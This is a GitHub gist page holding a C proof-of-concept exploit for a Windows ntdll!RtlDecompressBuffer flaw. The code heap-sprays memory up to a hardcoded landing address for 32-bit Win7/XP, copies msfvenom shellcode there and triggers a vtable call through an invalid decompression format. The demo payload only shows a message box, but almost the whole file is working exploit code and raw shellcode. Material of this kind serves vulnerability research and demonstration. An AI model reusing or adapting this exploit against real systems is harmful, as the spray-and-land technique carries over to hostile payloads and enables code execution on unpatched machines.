Skip to content

Instantly share code, notes, and snippets.

@hasherezade
Created November 16, 2016 02:55
Show Gist options
  • Select an option

  • Save hasherezade/ab5a7cb3d4d8f01193c589e0c97a24d3 to your computer and use it in GitHub Desktop.

Select an option

Save hasherezade/ab5a7cb3d4d8f01193c589e0c97a24d3 to your computer and use it in GitHub Desktop.
/*
ntdll!RtlDecompressBuffer() vtable exploit + heap spray
by @sha0coder
original version: http://jolmos.blogspot.com/2016/11/rtldecompresbuffer-vulnerability.html
*/
#include <iostream>
#include <Windows.h>
#include <fstream>
#include <stdio.h>
#include <stdlib.h>
#define KB 1024
#define MB 1024*KB
#define BLK_SZ 4096
#define ALLOC 200
#define MAGIC_DECOMPRESSION_ALGORITHM 9
/*
msfvenom -a x86 --platform Windows
-p windows/messagebox
TEXT="This is an injection demo!"
TITLE="Injection Demo"
-f c
*/
char shellcode[] =
"\xd9\xeb\x9b\xd9\x74\x24\xf4\x31\xd2\xb2\x77\x31\xc9\x64\x8b"
"\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x46\x08\x8b\x7e\x20\x8b"
"\x36\x38\x4f\x18\x75\xf3\x59\x01\xd1\xff\xe1\x60\x8b\x6c\x24"
"\x24\x8b\x45\x3c\x8b\x54\x28\x78\x01\xea\x8b\x4a\x18\x8b\x5a"
"\x20\x01\xeb\xe3\x34\x49\x8b\x34\x8b\x01\xee\x31\xff\x31\xc0"
"\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb\xf4\x3b\x7c"
"\x24\x28\x75\xe1\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a"
"\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\x89\x44\x24\x1c\x61\xc3\xb2"
"\x08\x29\xd4\x89\xe5\x89\xc2\x68\x8e\x4e\x0e\xec\x52\xe8\x9f"
"\xff\xff\xff\x89\x45\x04\xbb\x7e\xd8\xe2\x73\x87\x1c\x24\x52"
"\xe8\x8e\xff\xff\xff\x89\x45\x08\x68\x6c\x6c\x20\x41\x68\x33"
"\x32\x2e\x64\x68\x75\x73\x65\x72\x30\xdb\x88\x5c\x24\x0a\x89"
"\xe6\x56\xff\x55\x04\x89\xc2\x50\xbb\xa8\xa2\x4d\xbc\x87\x1c"
"\x24\x52\xe8\x5f\xff\xff\xff\x68\x6d\x6f\x58\x20\x68\x6e\x20"
"\x44\x65\x68\x63\x74\x69\x6f\x68\x49\x6e\x6a\x65\x31\xdb\x88"
"\x5c\x24\x0e\x89\xe3\x68\x6f\x21\x58\x20\x68\x20\x64\x65\x6d"
"\x68\x74\x69\x6f\x6e\x68\x6e\x6a\x65\x63\x68\x61\x6e\x20\x69"
"\x68\x20\x69\x73\x20\x68\x54\x68\x69\x73\x31\xc9\x88\x4c\x24"
"\x1a\x89\xe1\x31\xd2\x52\x53\x51\x52\xff\xd0\x31\xc0\x50\xff"
"\x55\x08";
PUCHAR landing_ptr = (PUCHAR)0x55ff8b90; // valid for Win7 and WinXP 32bits
typedef NTSTATUS(__stdcall *_RtlDecompressBuffer)(
USHORT CompressionFormat,
PUCHAR UncompressedBuffer,
ULONG UncompressedBufferSize,
PUCHAR CompressedBuffer,
ULONG CompressedBufferSize,
PULONG FinalUncompressedSize
);
void fail(const char *msg) {
printf("%s\n\n", msg);
exit(1);
}
PUCHAR spray(HANDLE heap) {
PUCHAR map = 0;
printf("Spraying ...\n");
printf("Aproximating to %p\n", landing_ptr);
while (map < landing_ptr-1*MB) {
map = (PUCHAR)HeapAlloc(heap, 0, 1*MB);
}
//map = HeapAlloc(heap, 0, 1*MB);
printf("Aproximated to [%x - %x]\n", map, map+1*MB);
printf("Landing adddr: %x\n", landing_ptr);
printf("Offset of landing adddr: %d\n", landing_ptr-map);
return map;
}
void landing_sigtrap(int num_of_traps) {
memset(landing_ptr, 0xcc, num_of_traps);
}
void copy_shellcode(void) {
memcpy(landing_ptr, shellcode, strlen(shellcode));
}
int main(int argc, char **argv) {
NTSTATUS ntStat;
HANDLE heap;
PUCHAR compressed, uncompressed;
ULONG compressed_sz, uncompressed_sz, estimated_uncompressed_sz;
_RtlDecompressBuffer RtlDecompressBuffer = (_RtlDecompressBuffer) GetProcAddress(LoadLibraryA("ntdll.dll"), "RtlDecompressBuffer");
heap = GetProcessHeap();
compressed_sz = estimated_uncompressed_sz = 1*KB;
compressed = (PUCHAR)HeapAlloc(heap, 0, compressed_sz);
uncompressed = (PUCHAR)HeapAlloc(heap, 0, estimated_uncompressed_sz);
spray(heap);
copy_shellcode();
//landing_sigtrap(1*KB);
printf("Landing ...\n");
ntStat = RtlDecompressBuffer(MAGIC_DECOMPRESSION_ALGORITHM, uncompressed, estimated_uncompressed_sz, compressed, compressed_sz, &uncompressed_sz);
if (ntStat == 0) {
printf("decompression Ok!\n");
} else {
printf("decompression not Ok!\n");
}
printf("end.\n");
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment